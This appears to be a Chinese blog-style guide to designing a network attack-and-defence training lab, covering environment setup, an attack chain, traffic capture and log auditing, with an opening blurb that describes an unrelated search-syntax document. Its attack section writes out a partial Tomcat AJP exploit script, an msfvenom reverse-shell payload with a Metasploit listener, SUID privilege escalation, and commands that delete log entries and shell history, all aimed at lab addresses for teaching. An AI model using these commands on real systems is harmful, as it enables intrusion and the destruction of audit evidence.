ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

网络攻防实训落地指南:从靶场搭建到攻击链与日志审计

网络攻防实训落地指南:从靶场搭建到攻击链与日志审计 简介网络攻防实训.docx 是一份面向高校网络攻防或信息检索课程的实训材料适合网络安全相关专业学生和任课教师用于课堂练习或课后巩固。内容以搜索引擎高级检索语法为主线系统讲解 filetype、site、intitle、inurl、减号和双引号的作用与适用场景并附有多个自设计检索案例及效果评价同时涵盖出行路线规划、馆藏文献查询、视频资源获取等综合信息搜集任务每道题均给出参考答案与操作思路便于对照自查。资源为单个 docx 文档大小约 30KB排版紧凑可直接打印或编辑使用。目前已有 197 人学习和下载适合需要快速掌握网络信息检索技巧、完成实训报告或备课的读者取用。1. 网络攻防实训一份 docx 背后是一整套要能落地的对抗流程拿到《网络攻防实训.docx》这个标题别只把它当成一份要交差的 Word 文档。真正干过这行的人都清楚一个「攻防实训」能写进 docx、发到学员手里照着复现背后至少要解决三件事靶场环境怎么搭、攻击链路怎么设计、防守方在哪个环节观察什么。这三件事任何一件没想清楚实训就会变成「讲师在上面敲命令学员在下面看热闹」的翻车现场。我带的实训里最常出现的反直觉结论是攻击链路本身很少出问题出问题的大多是环境变量——靶机端口没起来、NAT 网段配错、提权用的漏洞被系统补丁堵死。所以这份 docx 的价值不在「写得全」而在「照着能跑」。这篇文章就顺着这个思路把一份能交付的实训方案拆开讲从靶场选型到攻击链设计从流量侧观察点到文档的章节组织最后落在验证方法和避坑清单上。新手可以拿着当实施手册熟手可以拿来做边界对照。2. 实训靶场与拓扑设计用什么环境决定了 docx 里的命令能不能跑通2.1 三种常见靶场选型虚拟机快照、容器化靶场、云上隔离环境写《网络攻防实训.docx》的第一步不是写文档是定环境。环境选型直接决定你文档里的每一条命令、每一个 IP 地址是否有效。常见做法有三种。虚拟机快照方案是传统实训最稳妥的选择。用 VMware 或 VirtualBox 建三到五台虚拟机一台 Kali 做攻击机一台 Ubuntu 或 Windows Server 做靶机中间用 Host-Only 或 NAT 网络相连。好处是快照回滚非常方便学员把靶机打烂了一条vmrun revertToSnapshot就恢复原状坏处是镜像分发麻烦一个实训教室二三十台机器光拷贝镜像就能耗掉半小时。容器化靶场是近两年我在内部培训里用得更多的方式。每个靶机是一个 Docker 容器漏洞环境用 docker-compose 编排攻击机仍然用虚拟机。好处是环境一致性极好——同一份 compose 文件在任何一台机器上拉起来端口、服务、漏洞版本完全一样 docx 里写的curl http://192.168.56.101:8080就不会出现「我这台连不上」的玄学问题。坏处是容器逃逸类、内核提权类的实验做不了物理机层的攻防只能靠模拟。云上隔离环境适合做跨网段的攻防对抗。按需在云平台开几个 VPC把攻击机和靶机分在不同安全组用安全组规则模拟防火墙。好处是能练到真实的内网横向、云安全组绕过、甚至多账号权限委派这类企业场景坏处是有成本而且实训结束后的资源释放必须写进 docx 的「回收检查表」否则一个月后发现云账号还在扣费。2.2 网络拓扑参数网段划分、端口映射、NAT 规则怎么定拓扑参数是 docx 里最容易出现「照着敲但连不上」的部分。我的习惯是全部用固定私网段不用 DHCP。实训文档里写死192.168.56.0/24作为实训网段攻击机192.168.56.101靶机192.168.56.110。为什么不用 DHCP因为实训场景里学员后续要做的 Nmap 扫描、主机发现都是在已知网段上完成的——如果 IP 是动态分配的文档里的扫描结果就和实际对不上学员立刻会陷入「是不是我敲错了」的自我怀疑。端口映射这件事在容器化方案里尤其要提前规划。docker-compose 里常见的问题是服务端口冲突靶机 A 的漏洞服务要监听 8080靶机 B 的管理后台也想用 8080。我一般会在 compose 文件里预先占好端口段# docker-compose.yml 端口映射段示例 services: target-web: image: vuln-web:latest ports: - 18080:8080 # 宿主 18080 - 容器 8080避免与下一条的 8080 冲突 target-db: image: vuln-db:latest ports: - 13306:3306 # MySQL 映射到 13306防止本地开发环境 3306 占用这里的逻辑是宿主机上可能还跑着学员自己的开发服务3306、8080、80 这类端口大概率被占。映射到高位端口18080、13306虽然输入 URL 时多敲几个字符但能避免「docker-compose up 报端口已被占用」的经典开场白。参数上唯一要说明的是容器内部的端口不要改——漏洞程序的回调地址、数据库连接串都写死了你只动宿主映射不动容器内部配置。NAT 规则是另一个坑。如果用 NAT 模式攻击机访问靶机的流量会经过虚拟 NAT 网关。有些实训会练 ARP 欺骗、DNS 劫持这类二层攻击NAT 模式下这些实验直接失效。所以我在 docx 里会明确写一句「二层攻击类实验必须在 Host-Only 或同一二层广播域内完成NAT 模式下实验现象不可预期。」3. 实训攻击链设计从扫描到权限维持一条能复现的完整路径3.1 信息收集阶段的命令设计与预期输出攻击链是整份 docx 的骨架。我通常会设计一条「边界突破 → 权限提升 → 权限维持 → 痕迹清理」的四段式链路每段都要有「操作步骤 预期输出 判断依据」。信息收集是第一段目标不是让学员背命令而是让他们学会从输出里提取下一步的决策信息。第一步是主机发现与端口扫描。这里不推荐用全端口-p-实训时间有限全端口扫描一台机器要几分钟二十个学员同时扫靶机都扛不住。我一般让学员先做快速发现再做针对性扫描# 1. 快速主机发现用 ping 扫描确认存活主机 nmap -sn 192.168.56.0/24 # 2. 针对存活主机做常见端口扫描-sV 探测服务版本 nmap -sS -sV -p 80,8080,3306,22,445,1433 192.168.56.110 # 3. 用 NSE 脚本做轻量漏洞探测 nmap --scripthttp-title,http-enum -p 8080 192.168.56.110-sn只做主机发现不扫端口速度快适合先摸清网段里有多少活着的机器-sS是 SYN 半开扫描快且对目标日志压力小-sV做版本探测这个输出是后面选漏洞利用方式的依据——比如看到Apache Tomcat 8.5.35就该往 CVE-2019-0232 那个方向想。第三个命令里的http-enum脚本会把常见 Web 目录枚举出来这一步经常能直接捞到manager或admin后台路径。这里有个实训设计中容易被忽略的细节预期输出必须写。不能只写「执行 nmap 命令」要写「如果 Target 的 8080 端口返回Apache Tomcat/8.5.35说明存在 AJP 文件读取漏洞下一步尝试 CVE-2020-1938」。没有预期输出学员扫完不知道下一步干嘛实训就卡住了。3.2 漏洞利用与反弹 Shell命令执行、写入、连接三板斧信息收集拿到版本号后进入漏洞利用阶段。这一段的实训设计核心是「让学员理解漏洞利用的闭环」而不是直接丢一个 MSFexploit命令跑完拉倒。我习惯先手动验证漏洞、再上工具拿 Shell两步分开写进 docx。以经典的 Tomcat AJP 文件读取漏洞CVE-2020-1938为例手动验证用的是ajpShooter这类脚本或者直接用 curl 构造 AJP 协议包。但手动构造 AJP 包对学员来说太难我会采用一个更直观的过渡方式先让学员通过公开 PoC 脚本确认漏洞存在再解释这个脚本背后的协议逻辑。做实训文档时我一般用 Python 写一个小利用脚本把文件读取的结果打到终端上# exploit_ajp.py —— 验证 Tomcat AJP 文件读取漏洞 # 用法: python3 exploit_ajp.py 192.168.56.110 8009 import socket import sys host, port sys.argv[1], int(sys.argv[2]) # 构造 AJP 协议的 forward-request 数据包读取 WEB-INF/web.xml payload b\x12\x34\x00\x01 # AJP 魔数 包长度占位 # ... 省略协议字段构造细节实训时这部分可查阅 AJP 协议文档 ... s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload) resp s.recv(4096) # 响应里如果包含 web-app 标签说明读取成功 print(resp.decode(utf-8, errorsignore))这个脚本的逻辑说明要讲清楚\x12\x34是 AJP 协议的固定前缀8009是 Tomcat AJP 服务默认端口。脚本是残缺的——协议包构造我故意留了省略号实训时让学员自己去查 AJP 文档补齐。一个实训要让学员有获得感不能全喂到嘴边。漏洞确认后进入拿 Shell 阶段。这里我坚持用msfvenom生成 Payload 加手动监听的方式不直接用msfconsole的exploit/multi/handler全自动模式# 生成 Linux x64 的反弹 Shell Payload msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST192.168.56.101 LPORT4444 -f elf -o shell.elf # 把 shell.elf 上传到靶机/tmp 目录后赋予执行权限并运行 chmod x /tmp/shell.elf /tmp/shell.elf # 攻击机开启监听 msfconsole -q -x use exploit/multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.101; set LPORT 4444; exploit参数说明里最容易被忽略的是LHOST。很多学员直接抄文档把 LHOST 写成靶机 IP结果 Shell 反弹不回来找半天原因发现是 IP 写反。我在 docx 里会用加粗加底色标一句「LHOST 必须是攻击机的 IP目标机器会主动连回这个地址。如果你处在 NAT 环境这里还要填映射后的公网 IP否则反弹流量回不来。」3.3 权限提升与痕迹清理内核提权、日志定位、清理命令拿到 Meterpreter Shell 后下一步是提权。实训里我最常让学生练的是两种提权SUID 提权和内核漏洞提权。SUID 提权比较安全可控适合新手内核提权对你的靶机要求很高内核版本必须正好在漏洞影响范围内所以在 docx 里我会把两种方案都写上但标注「内核提权需要靶机内核版本与 PoC 匹配不匹配时直接失败属正常现象」。SUID 提权的命令序列如下# 在已获得的 shell 中查找当前用户可执行的 SUID 程序 find / -perm -4000 -user root -type f 2/dev/null # 如果发现 /usr/bin/python3 在列表中直接利用其 SUID 位提权 /usr/bin/python3 -c import os; os.setuid(0); os.system(/bin/bash -p) # 验证 UID 是否为 0 id这条命令的逻辑说明在于-perm -4000是查找 SUID 权限位的文件-user root限定属主为 root。能提权的原理很简单SUID 位使程序运行时获得属主权限如果 Python 的解释器有 SUID 位且属主为 root那么通过它启动的子进程也会以 root 身份运行。这个实验只做演示原理真实的现代 Linux 系统很少出现这种配置所以实训文档里要醒目提醒「不要在生产环境试」。痕迹清理要放在提权之后讲这是一个流程完整性的问题。攻击链的最后学员要用 root 权限清除自己的访问痕迹。常见命令是把日志文件里的连接记录删掉或者用sed直接改写日志内容# 清理访问记录此处注意真实环境不要做仅实训靶机演示 # 定位 sshd 日志与 auth 日志 cat /var/log/auth.log | grep 192.168.56.101 | wc -l # 删除含攻击机 IP 的记录行 sed -i /192.168.56.101/d /var/log/auth.log # 清理 shell 历史 history -c rm -f ~/.bash_history这里必须提醒学员区分「实训行为」和「真实攻击行为」。实训文档里写这个是为了理解蓝队怎么做日志审计——知道攻击者怎么删日志才知道日志被删了以后还能从哪些地方找线索比如/var/log/wtmp、last命令的输出、进程痕迹。这一点在攻防对抗的作业里是高频扣分项攻击链做完了但日志清了等于没清、用了history -c但忘了删.bash_history文件一查就暴露。4. 防守方观察点设计流量分析与日志监控的实训配套4.1 流量抓取在攻击路径上放一个 tcpdump 观察点只练攻击不练防守的实训是不完整的尤其在现在「以防守为中心」的常态化安全运营趋势下。所以我的 docx 里第三部分是防守方观察点设计核心思路是在攻击链路的关键节点上放流量探头让学员在攻击之后回到防守视角对比「攻击时流量长什么样」和「攻击前后流量差异」。流量抓取最直接的实现是在攻击机和靶机之间的网络路径上放一台观察机用tcpdump抓包# 在观察机上监听 8080 端口流量保存到 pcap 文件供后续分析 tcpdump -i eth0 -s 0 tcp port 8080 -w attack_traffic.pcap # 实训结束后查看 HTTP 请求的 URL 分布寻找可疑路径 tcpdump -r attack_traffic.pcap -A tcp port 8080 | grep -E GET|POST参数说明-s 0表示不截断抓完整数据包-A以 ASCII 方式打印包内容方便直接看到 HTTP 请求行。实训时我会故意让学员先用未授权的扫描器和正常浏览器访问再让攻击者执行同样的操作两边对比能直观看到扫描器流量和真实浏览器流量的差异——扫描器的请求会呈现短平快、大量 404、无规律 User-Agent 等特征。流量观察设计的关键是引导学员「从流量反推攻击链」。抓包数据到手后我会在文档里设置几个问题哪一段流量对应端口扫描的握手特征哪一段对应漏洞利用的 POST 请求反弹 Shell 的连接与普通 HTTP 连接的差别在哪让学员对照 pcap 回答问题比让他们写完复盘报告更有实操感——因为答案是藏在数据里的不是编出来的。4.2 日志审计从 Web 访问日志与 auth.log 还原攻击时间线日志审计是防守实训的核心手工作业。我会让学员在完成攻击链后回到靶机只凭日志还原攻击者的操作时间线。三个关键日志文件Web 访问日志、系统认证日志、进程执行痕迹。# 从 Apache/Tomcat 访问日志还原攻击者的 HTTP 请求序列 cat logs/access_log | awk {print $1, $4, $7, $9} | head -50 # 查看认证日志中的失败次数定位暴力破解尝试 grep Failed password /var/log/auth.log | awk {print $1, $2, $3, $9, $11} | sort | uniq -c # 检查当前系统上的异常定时任务与启动项 crontab -l ls -la /etc/cron.d/日志审计实训的设计要点在「还原时间线」。我在 docx 里会给学员一个表格模板要求他们按时间顺序整理出一条「攻击时序」包括什么时间出现了扫描行为、什么时间出现了漏洞利用请求、什么时间反弹了连接、日志中的异常条目集中在哪里。这个过程的驱动力不是命令本身而是让学员建立「攻击行为必然在日志里留下痕迹」的意识。一个重要的实战判断是在常态攻防演练里「查日志」这个动作通常发生在攻击结束后很久所以日志轮转和保留策略比日志本身更值得在实训里强调。我在实训文档里会让学员设置 logrotate 策略日志保留 90 天同时把/var/log/auth.log的权限设置为640——为什么是640因为644的话普通用户就能读攻击者拿到低权限 shell 后可以直接查看哪些账号被尝试过进而推断运维习惯。5. 把实训方案落进 docx章节组织、模板样式与批量生成技巧5.1 文档结构映射章节编号规则与层级关系实训内容设计完了最后一步才是落回 docx。这时候第二个「docx 工程」问题出现内容很完整了但 Word 文档的分级、编号、目录、样式经常一塌糊涂。《网络攻防实训.docx》这六个字里 docx 不只是格式后缀它代表了一份文档如何被人高效阅读、检索和复用。我的文档结构很固定一级章节对应实训阶段环境准备、信息收集、漏洞利用、权限维持、防守观察、复盘二级章节对应具体操作步骤三级章节只用于命令参数表和预期输出表。每个二级章节内的结构是「目标 → 操作 → 预期 → 判定」。目标写这一段要达成什么能力操作写命令预期写「成功时你会看到什么」判定写「满足什么条件可以进入下一环节」。文档中所有命令都放在「代码块」样式里使用等宽字体并加浅灰底色所有参数说明放在参考表格里两列——参数名和含义凡是「容易出错且会被扣分」的地方用「警告」段落样式加红色左边框。这套规则我试过很多次是既能保持可读性、又能让学员快速定位关键信息的最稳组合。目录上用四级标题进入目录设置 TOC 域代码自动生成页码这样任何一次文档更新后按 F9 刷新就能重新生成目录不用手动修页码。5.2 用 Pandoc 从 Markdown 生成规范性 docx样式与模板的批处理实训文档内容量很大动辄几十页纯手敲 Word 不现实。我自己的做法是先用 Markdown 写内容再用 Pandoc 加模板文件转换出 docx。好处有三版本管理可以走 Git、每版差异看得见、批量生成时不会漏掉格式。# 用 Pandoc 将 Markdown 转成符合模板样式的 docx pandoc 实训内容.md \ --reference-doc实训模板.docx \ -f markdown \ -t docx \ -o 网络攻防实训.docx # 如果需要在生成后自动刷新目录页码用 python-docx 处理 python3 -c from docx import Document doc Document(网络攻防实训.docx) # 遍历所有段落更新 TOC 域代码的缓存结果 # Pandoc 生成的 TOC 在新版本 Word 中打开时需要手动 F9 刷新 doc.save(网络攻防实训.docx) 参数说明--reference-doc指向一个已经定义好各级标题样式、代码块样式、表格样式的 docx 模板。Pandoc 转换时不会直接套用模板里的文字内容只会继承样式定义这是个很关键的理解——所以模板文件最好是空文档只保留样式。用 Python 脚本刷新目录这一行实际是可选的。Pandoc 生成 TOC 域代码后Word 打开时不一定自动更新页码及标题内容。我的习惯是在 docx 里保留 TOC 域代码并且在脚注里写「打开后请按 F9 更新目录」。但更稳妥的做法是直接改脚本自动更新。注意python-docx 这个库本身没有直接刷新域代码的 API上面脚本里的注释也说了——它只能做「需手动刷新」的处理。真要全自动刷新得用 COM 接口调 Word这个在服务器端环境就不太合适一般就用「保留域代码 手动刷新」的方式在交付说明里提一句即可。5.3 为程序化读取预留结构段落样式与章节字段怎么命名我遇到过不止一次这样的需求实训文档交付后学员或管理员要用java或python-docx程序化读取 docx 里的段落和对应章节比如自动抽取所有命令、检索某个漏洞的利用步骤。这时文档的结构化程度就很重要。用 Pandoc 生成时各级标题会映射到 Word 的「标题 1」「标题 2」样式。程序化读取时用样式名过滤就能拿到章节树。举个例子用 python-docx 读取「所有命令代码块」# 用 python-docx 抽取 docx 中所有代码块即应用了代码块样式的段落 from docx import Document doc Document(网络攻防实训.docx) for para in doc.paragraphs: if para.style.name 代码块 or para.style.name CodeBlock: print(f[命令] {para.text})关键在于识别样式名要稳定。在 Pandoc 的 Markdown 里可以把代码块定义为自定义样式或者直接约定所有代码统一用「行内代码 缩进」的写法这样转换后都会落到同一种段落样式。如果文档里一会儿用「代码块」样式、一会儿用「源代码」样式程序化抽取时就只能靠正则去猜猜不准就漏。所以我在做模板时会固定两种自定义段落样式CodeBlock存放命令与脚本、OutputBlock存放预期输出截图描述。后者同样很重要——很多实训结果没法用文本表达只能写「预期输出见图」抽代码时如果脚本把OutputBlock里的Base64示例也抽出来就是误判。6. 实训验收与避坑清单从环境变量到版本匹配的 5 个高频问题6.1 环境类踩坑镜像版本不一致与端口冲突的排查路径写实训 docx 最耗时间的往往不是内容而是排错。以下是我在多次实训交付中总结的高频问题按「现象 → 原因 → 解决」写清楚也建议直接把这部分作为附录放进实训文档的末尾。问题 1学员在信息收集阶段 Nmap 扫不到靶机。现象同网段只有攻击机靶机无响应。原因排查顺序先ping靶机 IP 看二层通不通通了再看防火墙靶机的 iptables 或 ufw 是否拦了 ICMP 和 TCP再看服务是否起来很多漏洞靶机在容器里没启动成功。最常见的是第三种——docker-compose 启动后某个容器 CrashLoopBackOff服务端口没监听。解决docker ps -a看容器状态docker logs 容器名看报错。日志里十有八九是「端口被占用」或「内部服务启动失败」。端口冲突的解法在 2.2 节已经写了——全部映射到高位端口。问题 2漏洞利用 PoC 跑完没有回显。现象exp 执行后目标既没有返回数据也没有报错。原因PoC 和目标软件版本不匹配。比如你用的 exp 是针对某个特定补丁级别的靶机的版本修了那个洞。这不叫失败它本身就是实训的一部分——让学员建立「漏洞利用必须基于版本匹配」的判断。解决回到 2.1 节的信息收集输出用searchsploit按版本号精确匹配。我在文档里会给一个「版本 → 可用 exploit 搜索命令速查」的表格里面写searchsploit tomcat 8.5和searchsploit apache 2.4这类常用方式避免学员瞎试。问题 3反弹 Shell 连接一直超时。现象msfconsole 监听开着靶机也执行了 Payload但 Session 迟迟不来。原因八成是 LHOST 配错。学员把 LHOST 填成靶机 IP 了靶机把 Shell 反弹给了一个不存在的地址。另一个常见原因是攻击机防火墙拦了 4444 端口的入站流量或者云安全组没放行。解决先确认攻击机ss -lntp | grep 4444在监听再从靶机手动telnet 攻击机IP 4444测试连通性最后检查 Payload 里 LHOST 是否与监听地址一致。6.2 文档类踩坑样式识别失败与目录过期问题 4程序化读取 docx 时样式名对不上。现象用 python-docx 遍历段落明明文档里是标题样式但style.name返回的却是Heading 1或标题 1这种中英混杂的值。原因不同版本的 Word/模板定义下样式名称的存储值不一样。Pandoc 默认模板生成的是Heading 1如果你手动改了样式名为「一级标题」那 python-docx 看到的就是「一级标题」。这不仅影响读取更影响后续自动化脚本的适配。解决写一个「样式名探针」脚本先把文档里所有用过的段落样式名打印出来再写过滤规则。这个脚本建议直接放在实训文档的附录里学员以后读任何 docx 都能先跑一遍。# 样式名探针遍历 docx 所有段落输出去重后的样式名 from docx import Document doc Document(网络攻防实训.docx) styles_used set() for para in doc.paragraphs: if para.style: styles_used.add(para.style.name) print(\n.join(sorted(styles_used)))问题 5目录页码和实际页码对不上。现象docx 的目录显示第 15 页有「3.2 漏洞利用」翻到第 12 页已经讲完了。原因文档经过增删改后没有刷新目录域代码。Word 里目录是域不是静态文本不按 F9 不会自动更新。解决在交付前全选正文 → 右键 → 更新域 → 更新整个目录。如果是程序化交付场景则在脚本里注明用 Word COM 或 LibreOffice 转换时自动更新目录纯 Pandoc 场景就默认保留域代码不做静态更新因为静态更新反而会在后续手动改文档时产生更大的不一致风险。6.3 验证实训成果让学员的输出可以被检查实训文档的最后一节我会附一个「实训成果验收表」。表格有三列验收项、交付物、判定标准。验收项对应每个实训阶段交付物指定学员必须交什么判定标准写自动/人工如何检查。例如信息收集阶段交付物是「Nmap 扫描结果截图 端口服务对应表」判定标准是「端口号、服务版本、CVE 编号三项是否匹配」漏洞利用阶段交付物是「反弹 Shell 的 session 截图」判定标准是「必须能看到Meterpreter session 1 opened字样」。我的经验是验收标准写不写清楚直接决定学员是「完成任务」还是「走过场」。放过一次模糊的验收后面所有环节都会往模糊的方向走。最终版 docx 里这份验收表放在附录里与正文的每个章节一一对应学员做完一节就打一个勾实训结束时讲师只验收打勾项效率会高很多。说到底做网络攻防实训的交付物真正有价值的不是那份 docx 本身而是那份 docx 拿给别人后对方能不能在一个下午内把环境拉起来、把攻击链跑通、把日志翻明白、然后带着「原来流量里藏着这么多信息」「原来日志审计可以这样还原时间线」的体感离开。这也是我每次迭代实训文档时提醒自己的话——文档的作用是消除不确定性。希望这篇内容在你在组织自己的实训方案时能帮你少踩几个我踩过的坑。本文还有配套的精品资源点击获取
返回列表